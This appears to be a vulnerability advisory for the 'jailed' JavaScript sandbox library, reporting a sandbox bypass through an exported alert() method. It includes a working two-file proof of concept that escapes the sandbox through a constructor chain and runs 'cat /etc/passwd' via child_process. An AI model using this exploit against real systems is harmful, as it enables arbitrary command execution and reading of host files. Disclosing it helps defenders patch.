Sandbox Bypass Affecting jailed package, versions *

jailed is an a small JavaScript library for running untrusted code in a sandbox.

Affected versions of this package are vulnerable to Sandbox Bypass via an exported alert() method which can access the main application. Exported methods are stored in the application.remote object.

//poc.js
var jailed = require('jailed');
var path = './jailed-plugin.js';

var api = {
    alert: console.log
};

var plugin = new jailed.Plugin(path, api);

//jailed-plugin.js
application.remote.alert(this.constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /etc/passwd").toString());
